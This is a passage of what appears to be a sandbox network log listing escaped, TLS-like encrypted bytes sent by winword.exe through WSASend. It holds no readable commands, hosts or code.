  555. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xf6\\xb7e\r\\xd7\\x01bc\\xa7.c\\xc0\\x009*\\xcf\\x8bg\\x05\\xd7\\x05\\x99\\xa6\\xaf\\xf5\\x1d\\x03\\x10\\xe2\\\\xf6\\xd02\\x8co?\\xfa.x\\x04#\\xa6p\\x94\\x06\\xca\\x99\\xd1\\xc6\\xab:\\x0e\\x11z\\\\xc2\\xc1\\x1d\\xeb\\xb6\\x10)c\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000g2m\\xc3\\x9c\\xad,\\x00\\xc8\\x89\\xcb\\xec\\x90\\x8b/\\x8e\\xc7#:\\xaa\\x93w\\x1f?\\xa9\\xb8!\\x87\\x85j\\xa3\\x00\\x84\\x16i\\xf0\\xfb\\xdc\\xa5p\\xe2\\xcb\\xa5s4\\xb7\\x0f"
  556.  
  557.  
  558. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\x9d\\xf2z\\xf9\\xdf\\x92+\\xf7\\xcc\\x93(\\xb8\\xa2f\\xe21\\xa8pp\\x1e\\xa1\\xf4%\\x81\\xc3\\xb0\\xf8\\xb1\\xe9\\xa3\\xe2\\xc3h\\xcf\\xa3\\xde \\x8f^\\xe2\\x8d\\x81\\x16x\\xd2\\x13\\xf9\\x19\\x0f\\xe7\\x18\\xa6a\\xdf\\xc4j\\x96\\xed\\x13\\xbd ,\\xbd\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xac\\x00\\xad\\x19h\\xe5\\xea\\xaf\"\\xaa\\xd5\\xdc@\\xb0vyz\\x7f\\xf3\\xf1,4'\\xba\\x89a*\\x89(1\\xde\\xf0\\xc3e\\x06o\\x9efw\\xa7\\xf6y6x 5\\x10'"
  559.  
  560.  
  561. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\x91\\xf2\\xa6o\\xb1\\xb0\\xd1\\x9f\\x8b\\xb4f\\x93\\xfb5\\xb6\\x13p$j\\x81\\xa0bnbk\\x1d\\xbb\\xe9\\xcf\\x03\\x10\\xfe\\xc0\\x7f\\xd3\\x89ev\\x83t?\\x1dxo\\xdfo\\xc4n\\x13*\\xc3\\xba\\xad\\x95+\\x8e)\\xd7~\\xb7$\\x0fm\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\x93\\x06\\x97\\x05\\xbc\\x9b\\xbc\\x106\\x0fk\\xe1\\x90\\xf5\\x03k_/\\x8b\\xf2\\x1au\\x8a\\x13\\x14\\xda:\\xc0\\xf98\\xbf\\xf9m*v\\xc4\\xcc$\\xe2\\xaf\\x08\\x10\\xbd\\xbc\\x08\\xbd\n"
  562.  
  563.  
  564. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\x92y4jmz#0:\\x99\\xa4\\x1cttj\\x01\\xb9\\xfd\\xc0\\x82\\xdf\\xb6=\\xa7\\xe4e\\x84\\x0f\\x02\\xadp\\x944(\\x91#2\\xe0\\x0f\\xe5e\\x7f</\\x1d\\x95\\x16 64\\xa7\re\\x9bo%\\xc0e;\\xba\\xebo\\x94`\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\x89\\xe8e\\xf7v\\x8e\\x0co~k\\x00\\xb7x\\x9bk\\xa4\\xbc\\xf1\\x9e\\x1a\\x9ak,\\x7f\\xa4l3\\xfd\\xf3y\\xfa\\x86\\x9d\\xbe\\\\xd9%\\x88\\xee\\x86\\x1d%\\xf2\\xe3jo\\xc8"
  565.  
  566.  
  567. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\x13r\\xc6p0h\\xb0vu\\xfb\\xbf\\xdd\\x87b\\xbc\\x00e\\x1d\\x9fe3\\x7f\\x8dk9\\xdb\\xf9\\xd5\\xea+\\xca\\xe2\\x99\\xfd\\xed\\x9b\\xb2e\\xf7\\xbcd-\\xfex\\x06\\x92\\xfc\\xbff\\x16b\\xd0i.\\x8b\\xc7t\\xe1fq\\xdd\\xe6\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000a`\\xe4\\xd4\n\\x8ey\\xc0\\x81\\x9c\\xb8\\x97e\\xb7\\x0ch\\x06\\xd8\\xc5i`\\x84\\xde\\xd1en\\xc3\\xd3\\x91\\x8c\\xd0\\xad\\xf9\\x96u\\xaf\\x94#\\xa7\\x06\\xfb\\x0b\\xb8\\xd40\\x19\\x85\\xd2"
  568.  
  569.  
  570. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04gl\\xd5)\\x12\\xb2\\xcbz\\xa5\\xd0\\xe2\\x13\\xbf0z>\\xb2pc\\xa7z?0\\xf8\\x08 ,\\x9e`\\xd7\\xcf\\x10\\xb3\\x11\\x9b\\xb6\\x14\\xf1\\xb6,\\xa4,\\xea\\xe3\\xaaf\\xads'e\\xf4\\xd0\\x07e\\x87:q3\\x8d~\\xc7\\xea\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xba\\xe0\\xf2\\xf3\\xe0\\x8a.\\xd9\\xfc\\xee\\x90\\x01\\xccqm>\\xae\\xb9\\x11\\xf3n\\xf5e\\xf1\\xe2x\\xd6\\xe9mfv\\xee\\x00\\xe9wps\\xf0\\x8f\\x91\\xef\\xa8\\xa6\\x8f\\xc6b!"
  571.  
  572.  
  573. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\x12\\xedt\\x9au\\x90\\x1cg?-\\x00\\x0e\\xb8\\xea\\x10\\xe2d:\\xc2a\\x0c4\\x9b\\xe4\nx\\xe9\\x13\\xac8\tq\\x01\\x13\\x96\\xac`\\xde\\xac|\\xdf\\xc87x\\xcej\\xde\\xf8\\xce\"\\xa6\\xe8\\x7f\\x86c/y+\\x13\\x86\\xab\\xe3\\xb3\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000:\\x9a\\xb6@\\xb0\\x98\\xcb\\xc5\\x94x\\xe1`\\x9ahr\\x0c\\xba\\x1fq\"6i\\xf7\\xfb0\\xffkf;\\x8cu\\xa7a6\\xef(\\xedu\\xe4\\xd5\\xa7\\xf2\\x8e\\x03\\xdc\\x02\\xe4m"
  574.  
  575.  
  576. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04d\\xe0hb\\xa0\\x16&h\\x82\\x96\\x16\\xe4\\xafq\\xd0\\x1a\\x9c1f\\x9ap\\x9a\\x1e\\xf15\\xa0n\\xe1\\xc9\\x80d*\\xcf5\\xf6e\\xca?k\\xaa\\x81x\\xe3s\\xc9\\x8e\\xdc\\xbec\\xe2\\xd2b\\xc0\\xdb\\x0c\\x92\\x08\\xb4\\xc5a\\xbd\\xf4ry\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000t\\x95\\xa6\\xc9\nd\\xfc\\xac\\xc7h\\x97\\x92\\x7f1p1\\xd9\\xa8\\x08\\x8e\\xd8eif4\\xffb\\xf4<\\xed\\x84\\xbd\\x19fr&x:v\\xaf\\x07\\x90\\xf4\\xe71\\xb2\\x83"
  577.  
  578.  
  579. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04q\\xf3*\\x0b\\xadg\\x00\\xc3\\x1b\\xfd\\x0f\\xa4%\\xbbi\\x18z\\xde\\xdc\\x81\\xdd7\\x19\\x8aia\\xca\\xaa\\xdah\\x8c\\xe53\\xb8\\x16\\xc2^lf\\xc6:\\xb9x\\xa4\\x05\\x8c\\x0c\\xfcb9p3q\\x7f\\xc3\\xde\\xe2q\\xc8c\\xd1\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xcaz\\xd0\\x80~\\x8e\\xf2`\\xee\\x974\\x94z9`\\xaa\\xba:\\xfd\\xael\\x95ed\\xb1f\\x1ci\\xbf\\xce\\xbf\\xae\\x949:o\\xefzl\\xffdj!d\\xafj\\xb6p"
  580.  
  581.  
  582. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04o@\\x9e\\x8b^f='\\xed\\xca\\xf7hh\\xd8\\x12\\x8b\\xbcg\t\\x07n\\x1a\\xd7\\xd37\\x1b\\x95z,)\\x84k\\xe0\\xb1\\x8e\\xec\\xf4\\xfa\\xa0\\xacd\\xb4\\x97\\x85\\xa0-\\x14\\xb2\\xb3\\x87\\xd2~c\\xd0z\\x8d\\xff\\x85\\xfax\\xc4\\xef\\x89\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xccq&\\xe7yfn\\xfa\\xdae%#\\x97\\x01i\\x0c\\xd7\\xc9\\xaa;\\xf82\\xba^\\xd8\\xdc\\xd6&\\x10\\xef\\xae#\\x04\\xa3\\xc6~\\xcb\\xdc\\xfd0\\x9e\\xcd\\x91\\xa8\\xf0\\x16\\xac\\xbe"
  583.  
  584.  
  585. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\x8am\\x16\\xf2\\xac\\xcc\\xc3\r\"q\\x16\\xacc\\x14=$\\xa5\\x00\\xfc\\xb04k?\\x89z\\xb6:\\xb9y\\xe8\\xab\\x86\\xd1\\x1a\\x023\\xf9k\\x08v\\xf3\\x19z\\x16\\x8f\\xcaw^\\x7f\\x12\\x1e%)\\xc5\\xa3\\xbam\\xce#\\x05\\xe7\\xe5\\xf7\n\\x89\\xde\\x85\\xfbl\\xf3\\xee_\\x9b\\x8f\\xdc\\xbc\\x87\\xb5\\xfb\\x0bmd\n\\xf4j-\\x9fs\\x11\\x07vi\\xf9\\xe3\\xd4\\x1e\\xc2t\\xd2\\xc9\\xf2g\\xff\\xd2w\\xfc\\x8dy_\\x8ad\\xcedoz\\xbbg\\x87\\xd6\\x10b\\xe3\\xf5q\\x11b\\x8d\\xa6\\x06\\xc7\\x12\\x1f\\x11\\xbfp\\xb1+\\x82g\\xf95\\xdf\\xb9\\x0bl=\\x95\\xc3\\xcf\\xb9!25\\x82?\\xbbn\\x04c\\x8c\\xd6\\xaa(\\x85-\\xc8u\\xe4\\xdb\\xf2o\\x9ba\\xbbg&j.\\x91|\\x10\\x12\\xf00s\\x94\\x8a\\xbf\\xc6\\x06s\\xectn\\xf5\\x01\\x02\\xf6\\xc3\\x1a\\x03\\xd9y$\\x0e\\xa4nk\\x15\\x02\\xc9\\xd9\\x84\"\\xaa\\xdb\\x86ka\\x97f\\x00\\xe6\\xe7\\x82g\\x0f8r\\x95@3\\xb6\r_i\\xc9\\xb4\\x00\\xb6\\xdb8\\xc9\\xae\\xd2\\xdb\\xcei"
  586.  
  587.  
  588. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04v\\xc4d\\xbd\\x18@\\xedl\\xd1\\xde\\xfc'\\x11\\xe8\\xfe(\\xdc1yd\\x0fuo\\x1f\\xd5\\x85\\x89\\x9e.8\\xda\\x90tz\\x1e\\x85\\x8asz\\xce4a\\xb8=\\xdbu\\xb8\\x9fnd\\xbf\\xd8\\x8df\\xe1\\x88\\xcf\\x06q\\xd73.\\x8d\\xda\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xa4\\xbfbw\\xee4u\\xfc!\\x16\\x93=\\xfd\\x11\\x0c\\xf0k\\xf2\\xc0\\x9bf2\\xb2\\x01\\x07\\xb0\\xeflv-v\\xf0\\xe6\\xcf\\xa8\\xf2\\xba\\x99\\x11\\xe0g\\xbc\\x8b9<\\x13\\xb4l"
  589.  
  590.  
  591. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\x1e\\x9d\\xc7\\x19\\xea<\\xc9^2\\x1a\\xed\\xdd\\xa1\\xde\\x1f\\xb8\\xc6\\xa1\\xb1b\\x7f\\xbc0\\xfaw\\xc3\\xf9p\\x84\\x88\\xecy/\\xfe\\xa2\\xf3\\x08\\x8fy/\\xf2\\x1c$\\x97\\x95\\x0b!\\x9e=\\x98\\xf5$\\x11\\xd0,\"\\x128\\x96\\x99\\x8b\t\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\x8b\\x06\\xd5\\xd0\\xc1\\xf2\\xb8\\x1d;\\xe5h\\xbbpb\\x88q\\xba\\x1a\\x11\"\"\\xef\\x8d\\xd5\\xbf\\xbb\\xc4\\x98l\\x95\\xe4\\xd4\\xb0\\xf29w\\xdex\\xa7x\\x07k\\xdb\\xaa\\x89\\x8b\\x8c"
  592.  
  593.  
  594. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\x8a\\xa9\\xa0*\\x92y\"d\\x1d7?\\xff\\xccf\\x976il\\x8b\\x7fw2t\\xa5\\x8f\\xf9\\xae\\xf2\\xe2\\xb8\\xdc\\xe6\\xb8\\x19\\xe3i\\xab\\xd5\\x941\\x0fs\\xb8\\x13>\\xdf\\xdd2u\\x02$\\xa5\\x0c\\x9b\\xfc\\x13\\x10g\\xa9\\xd4\\xf95|\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xe1\\x0c\\xa4\\x02\\x1a\\xc3\\xc1;\\xcb\\xc51r`8x\\x8e\\xa8\\xe83\\x1c\\x9cv\\x1b\\x88\\x86\\x82pcn\\x99\\x89\\xd3j\\xeb5\\x03su\\xa1\\x1f\\xf8\\xf8\\x83bi,m"
  595.  
  596.  
  597. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\x9a\\xe7\\x04\\xa2|ez\\x1cn\\xcd\\xf6\\xb7\\x11\\x06\\x8aq\\xbbb\\x97?\\x0e\\xf6\\xb9\\x80\\xf4j\\xcb\\xbf\\xe3\\x0e\\xcap\\xf3px;7\\x1a\\x10\\x0f\\xdap\\xb5\\x95-\\xc2\\xb0\\x15\\x1e\\xd2\\xf9vsz\\x12\\xa6\\xe0\\xd3\\xd5=\\xf0\\xc7\\x08\\xfd\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000j\\xd8>\\xd9\\xfd\\xf1\\x7f\\xac\\x10lmf\\xaa\\xa2\\xc7\\x19\\xffc\\x7f<\\xb6\\xec\\xd2\\xb0\\x1d$`\\xa94\\xbc\\x02\\xd9\\xda\\x8ex\\x1e<i\\xb7\\xb2\\xca@\"xh2'"
  598.  
  599.  
  600. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\x14\\xbe\\xf1\\xa3\\x9e\\xe8\\xfah-\\xca24\\x8b>r\\xa5\\xb9\\xae?\\xa4ov\\xf2,\\x8b\\x1e\\xf3\\xe2\\xc2u0\\xd2\\x15s\\xa1\\xb35\\xd2_\\xdc9\\x8d\\xedc\\x93\\x80\\xc4=\\x87\\x93\r\\xe5\\x00\\xfb\\x05pn\\xd0\\xb2\\x12#i\\xb9;\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xba\\xda\\xe0+\\x93\\x9d#\\xfbs\\xf5\\xe1\\xb3\\xd8\\x92\\x93w\\x98\\xb5\\xae\\x0fw.\\xad\\xd96\\xaf\\xa6 \\\\xc5\\x93#\\xbe\\xf7\\xc8\\xde4\\xaa)\\xb0\\xc8\\x96x##\\xe8q"
  601.  
  602.  
  603. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x0109\\xb2\\xa6\\x85:\\xbe\\x06\\x11,`\\xce\\x9cg\\x81\\xbeuz\\xe1\\xa5\\x10\\xf1\\xa2\\x0e\\xd6\\x91\\x8ed\\x1db\\xeb w\\xea\\x10/\\xc3\\x18`\\xc7@m\\xfd/\\xa8$\\xc9\\x847<\\xa5\\x16e\\xb9\\xc3,\\x12\\x9c#\\xc0\\xfa\\x83\\xf4\\xea\\x0c2_\\xe5\\xf7\\x10\\x15\\x146\\xd4%\\xb1\\xc9\\xa6\\xac\\xbd\\x82\\xbd\\xc2\\x1a\\xd7m\\xf9_\\xae\\x9f\\x18\\xe7\\x85\\x08\\xec\\xf5oo\\x93pp\\xb5\\x1e()\\xcd\\xdcg\\xae\\x9d;\\x87\\xafvd\\x92\\xf5\\x8b\\xed\\xdc\\x9da\\xb70ul`_35\\xda'\\xb6d\\x913\\xad\\x9d\\x86\\x0b\\x89,\\x1a\\xf9\\x14f0\\xcd#\\x8a\\xf2|8\\xd6\\xcf\\x9d\\x918\\x99\\xf3\\xd3\\x8d\\x84w\\xbd\\x1a\\x84\\xb6\\xa3'xc\\x81je\\xe5i\\x84j\\xee\\xe9\\xd4\\x08\\xb2n\\xf3\\xf7\\xdaj\\xd1\\x06\\xbb\\x94\\x06 y\\xe4;\\x94\\x0f\\xe67\\xa9&\\xecq\\x85\\xa1)y\\xc4\\xe6\\x90\\x99gn\\x03)\\xd4\\x829q\\x0f4\\xaf\\x82\\xfc\\x92\\x9c\\xb6\\x00by1'\\x15\\x8dq\\xf8\\xcc\\xae\\xb53\\xbc\\xc3\\x9e\\xda"
  604.  
  605.  
  606. "http_request": "winword.exe_WSASend_.\\x01\\x01\\x00f\\x10\\x00\\x00ba\\x04ux\\x06\n\\x0fy\\xcd\\xe3\\xc9s?\\x8a5\\x90\\xc9v\r?\\xfd\\x16\\xa1\\xef\\x8e\\x9blu\\xd2\\x91\\xce?eo\\xdc\\xaac\\xff\\x12\\xf2ui\\xb9\\x0ex\\xb8i\\x82\\x1d\\xaa\\x99\\xef\\xf9j\\xbe\\xc5^y\\xc3\\x8a /\\xe2;\\xd1\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xbcvt\\xcap\\xae\\xeca`\\x1b\\xa6\\x01ou\\xa6o\\xbc\\x0eh\\xc9'\\x9a\\x0f5\\xa2y\\x80j\\xf0\r\\xa5a\\xab\\xc6\\xd0jk\\xc3f\\x142\\xc97\\xdc\\xc0>\\x05\\xd2"
  607.  
  608.  
  609. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\x82\\xa2\\x8f\\x9ae\\xab\\xf5\\x8b\\xa4y k\\xd5w\\xa1\\x1f\\x8e\\xf4\\xb6\\xef\"m\\x8e\\x18\\xd2\\x8c8\\xa7=\\x07\\xaf\\xc3\" 2\\xc9o\\xfbs\\x86^b\\x1b\\xf0\\x9c\\x99\\xd2\\x86\\x1d\\x1a7\\xe4&bs\\xa3\\x817g\\x0f+w\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xe5\\x95n\\xe1\\xd3o\\x80\\x0b\\xa9\\x87d\\x87\\x07\\xc1\\x05g\\xef\\xd8\\x87u7\\xcf\\xa4\\xd5\\x1d\\x05\\xbf\\xa0\\x98\\xc1\\x08\\xe1\\x90r|\\xa3\\x10_\\x8c\\xdc\\x1d\\x8eqtyv"
  610.  
  611.  
  612. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xaf@.\\xe7\\x9f\\xf1\\x8c\\xc5\\x892,\\xbb/\t\\xa0^\\x01\\xca\\xc1\\x15\\xd4\\xf6\\xf5\\x12g\\xcd\\x0c\\xf7#i\\xa4\\x15`\\x8b\\xde#\\x0e\\xe6\\x8d\\x14h\\xb2t\\xdfn+\\xa5u\\x87\\x97\\x10\\x04l5?@\\x9b\\xe6vj\\xe3\\x97:3\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xae\\xbd\\x11\\x8e\\xa0\n\\xb0\\xf9\\x9d6z\\x9c6\\x97o\\xd5\\xd5i;d3\\xbe/\\xd6\\xd9\\x07\\xe6\\xcb\\xf1\\x89~y#\\x97\\x89\\xb06\\x8e\\x99\\xe0&\\xe2'\\x8f9\\x0b\\xae("
  613.  
  614.  
  615. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\rc\\x86\\xa8f\\x91\\xd6\\x88a\\x96e\\x85\\xdf,\\xed\\x1d\\xe2\\x84\\xc6b\\x17.\\x0c\\z\\xf9\\xa5g\\xc8nj\\x9cv\\x00\\xbe\\xbc\\xfa\n\\x9a\\xd5\\x92r%-\\xd6z\\x12\\x0ba\\x8d^\\xda\\xef\\x17\\xd2\\xf1\\xd2\\xc5wp\\xc9\\xde\\xf5\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\x86l\\xbc\\xfe\\xb5\\x85\\x92p\\xc99zp\\xfe\\x95\\xbc\\x1a\\xff\\xa4\\x86\\xf4pc\\xfc\\x8b-\t\\xbc\\xe0\\xe4\\xdb\\xc7\\x1az\\xb1\"n\\x1e\\x7f\\xa1\\x08\\x18\\xd4\\x08yhk\\xc7"
  616.  
  617.  
  618. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010l\\xb2\\xbb<\\xc4\\xa3\\xaf\\x816\\x98 \\xf6\\xc1\\xf1t9ii'\\xe9tj`\\xc5\\xd7\\xf6a\\x8d\\x93\\xcd~\\x17\\xf3yebl\\xfb\\x9d98\\xa9-\\xb9!r\\x18\\xccgj\\xe9h\\xf7)\\xf8\\xab&\to?\\xeax\\xbc\\x11u>\\xdc\\xbag\\x81(\\xb4hs\\xf3\\x14<\\x10\\xe0\\xb4\\x18\\xb5\\xc0_\\xf1\\x8c;\\x9d\\x9b\\xc6\\x15p\\xc6t`\\x0f\\xaf\\x91\r\\xe5l\\x8e\\x80\\x0f\\x174\\xbf\\xbb\\x8b\\xc1a3d\\xe99\\xd6\\x16\\xe4\\xe3zrr\\xcd\\x03x\\x864p\\xc6u\\x8d\t\\xdd\\x98s\\x8a\\x1e\\x87h\\xec\\xc9\\x8axv\\x1d$g\\xb0\\xa1%\\x07\\xbb\\x18\\xb0\\x89\\xc8\\xff/w\\xff\\xdd\\x8e\\<\\xb5\\x0c0\\x16w\\xee\\xbe\\x9f\\xddi4\\x05\\x9bz\\x94i\"\\x93\"\\xc2\\xa3\\x1b\\x8a\\xc0\\x94ns\\x02\\xe5\\xdd\\x1d\\xf8ca\\xbb\\xe3\\x7f(\\xd0\\x92ln\\x1c\\xa1kx;\\xdbp\\x1bw\\x8dg\\xa1\\xfd8\\x94\\xdcn\\x92\\x0bb\\xe4%1l\\x8ar$\\x8b\\xf5+7\\xd4\\x9d\\xcd,\\xcfvh\\xce\\xa2\\xa5f"
  619.  
  620.  
  621. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\x84\\xf5h\\x88y\\xbc\\x99\\x19\\x7f\\xff\\x9f1\\xad,\\xf9k\\x9a\\xf4\\xe5p\\xfa_p\\x06\\xbam\\xa6\\xb0v,ez\\x1e\\xb2\\xa2h\\xec\\xd3:\\xab&\\x1ci!\\xde7\\x1c\\x97!\\xab\\xf7\\x82\\xed^h\\xd1x\\x8e\\x17=w\n\\xc6k\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xdb\\x01\\xa3\\xcc\\x1fq\\xee2\\xd6|\\xf9\\xe7\\x82\\xaa\\xd4\\xa7\\xee\\x01\\xf25\\xfd\\xf4\\xb9m\\xf6\\xe0\\xaa\\x9e\\x97\\x0f\\xbb\\x1d\\xa7\\x94\\xca6j:\\x18\\xabp\\x96\\xe2\\x06\\xb2\\xfa"
  622.  
  623.  
  624. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\x18!+\\xb34\\x17jd\\xa6\\xfb\\x93\\xf7z\\x15\\xb7&\\x829\\xf6\\xd7\\x04\\x82\\x9d\\xcb\\x99?\\xfb\\xa0\\xd4\\xf6b\\xa9\\xec\\x19q'f\\xaa0\\x1a\\xfdc\\xa5\\x85\\xa9\\xc9\\xaf\\xea\\xdco<\\x86\\xe4\\x0e\\x02\\xeba\\xfa\\x13\\xd6\\x15\\x0b\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xc9\\xb8\\xa1\\xbb\\xcd,c\\x06|\\xa8\\x9d\\xeb\\xb6\\x1d\\x8a\\x7f\\x83\\xb0\\x9f\\x99\\xb3l\\xfc\\xc7\\x08\\xacc\\xfd\\xf6\\x0bn\\xbd7\\xe3\\x9d\\x95,\\xbb\\x0b\\x12y\\xf4>\\xa0\\xf20t\\xa3"
  625.  
  626.  
  627. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04k\\x94\\xa0\\xf8z\\xa7\\xd2>\\x97+\\x181w\\x9al\\x87\\x86\\xa7\\xba=q>\\xca\\xe1i\\xe9\\x81\\xe4\\xe7\\x93f\\xf3d\\xa49\\x84\\xc7/\\x88t\\xd1\\x16et\\x98c\\xff*_\\xe3;2oo\\x8d\\xe4\\xc4\\xd8\\x87)\\x11\\xe7\\xb1\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xf6z\\xcb\\xf6\\x0c\\xdf4\\xfc\\xf4l\\x992\\x1fk\\xca\\xd6\\xe8\\xebt\\x17o\\xdem\\xbb\\x06\\xcc\\xf8\\xe9.\\x00l\\x7f\\xdc\"\\x8e\\xfc\\x91\\xf2h-\\xd5^\\x82\\x94o\\xef\\x9e"
  628.  
  629.  
  630. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xab\\x0e\\x80\\xf2\\xd4\\x95\n\\xbc\\x19\\x80 \\x1b\\xf2\\xd0t\\xaa\\xb3\\xd2g0\\x8b\\xca\\x97\\xa13\\xbd/\\x06\\x8e\\x84\\xdb7>\\xc2\\xf4\\x9b\\xa3pez:\\xe7\\x8dv\\xb4\\xfc\\x1f\\xa6\\xd8\\xe1\\xc5\\x1439\\xe1&`\\xf6\\x8b4\\xae\\xb7\\x01@\\x98\\xb4\\x89\\xb5\\x0f4\\xcd\\xb7\\xc6\\x85`\\x9b\\xf4\\xb0\\xe9\\x85\\x7fc\\xde\\xb8\\x80\\x00\\xd12k\\xbf<\\xc5\\x94\\x15\\xf7\\xe9\\xa8?\\xd0u\\x174$\\x8b\\xd1w&*\\xbf\\xb7\\xfd\\xce\\x19h\\x87e\\xa5\\xda\\xd9\\xae\\xcc\\xe6#\\xef\\\\xbd\\x00\\x0e\\xcd\\xa4q\\xf0\\x84\\xd1\\x11 \\xd0*,\\xae\\x85\\x7f\\x83\\xab\\xb6q\\xef\\x1d\\x87\\xb5\\x18c\\x93\\x13\\x1d\\xbb\\xf6\\x17\\x14uo\\x19v:o\\x9b\\x06\\x810\\x84)\\xd0\\xa1:\\x14/9\\x12\\xe5k\\xd9f\\x9e\\xe2\\xad\\xb7q&@\\xcb\\x93d\\xb5\\xd34\\xb6a\\xed\\x8bfk\\xff\\xbf\\x10\\xea>\\xb8g^\\xcd\\x15*\\xb5\\x06\\xd8\\xe1ru\\xca+oh~v\\xab\\x0c\\\\x02\\xffy\\xca\\x9b\\x9eqk\\x1c\\xd8i\\xe4\\x0e%u\\xe4\\x1c#\\x13\\xfe\\xaf"
  631.  
  632.  
  633. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\"n\\xb3\\xfa\\x19\\xfcq\\xcd\\xc7\\xab\\x9a\\x94\n\\xd2\\xbc\\xe36<\\xfa\\xd8\\xcc\\xd7\\\\xc1\\x8f\\xaf\\xb6~h\\x11\\xc0\\xb6\\x1a\\x10\\x02\\x16i\\xbf\\x1d\\xd2<\\xfe\\xcd\\x92\\xaf\\xdas?\\x11.g\\xf0c\\u|$\\x986\\x0b,q\\xe6\\xcf|\\xfc\\xaf\\x82\\x9f\\xe2\\xca\\xd8\\xeb=$\\xc0\\xcf\\x17h\\x8c\\x1co\\xba\\x16\\xf6c\\\\x07\\xc9\\xa4o\\xfb3\\xe9=k\\xd6\\xe9\\xee'\\x19\\xf9tf\\x9f\\x1e%\\x06d\\x8du\\xc3`x\\xce\\x19a;\\\\xd2\\x04\\x90\\xbd\\xcb\\xe3\\x95\\xbc\\xcc\\x7f\\xa5\\xab\\xfe2\\xb7f\\x15\\x1em\\xb6\\xc3\\xdf\\xf5\\x98s\\xd6\\xef\\x1a\\xe6\nc\\x14`a;\\x85k\\xccd\\xa6\\x8e\\x1e\\x14\\xeeq\\xbdaw\\xcd\\x08\\x84\\x8c\\xff\\x83c~\\xc4z\\xfc>op\\x11q\\xe8v\\x00\\x8f\\xf4\\xe6\\xebf^\\xf3\\xf55\\xbbf\\xecj\\xa3\\x00z\\xfb\\xcd\\xa7\\xa3apsft\\xf8\\x1c\\xe0\\x81d\\xbe\\x15&\\x8b\\xaa\\x97?\\xfe\\x99\\xab9\\x97\\xc5\\x9f\\xb8\\xe6\\x13\\x08\\xc4\\x96\\xa7\\xd7e\\\\x89\\x95\\xf6\\x8c\\xb5\\xe3"
  634.  
  635.  
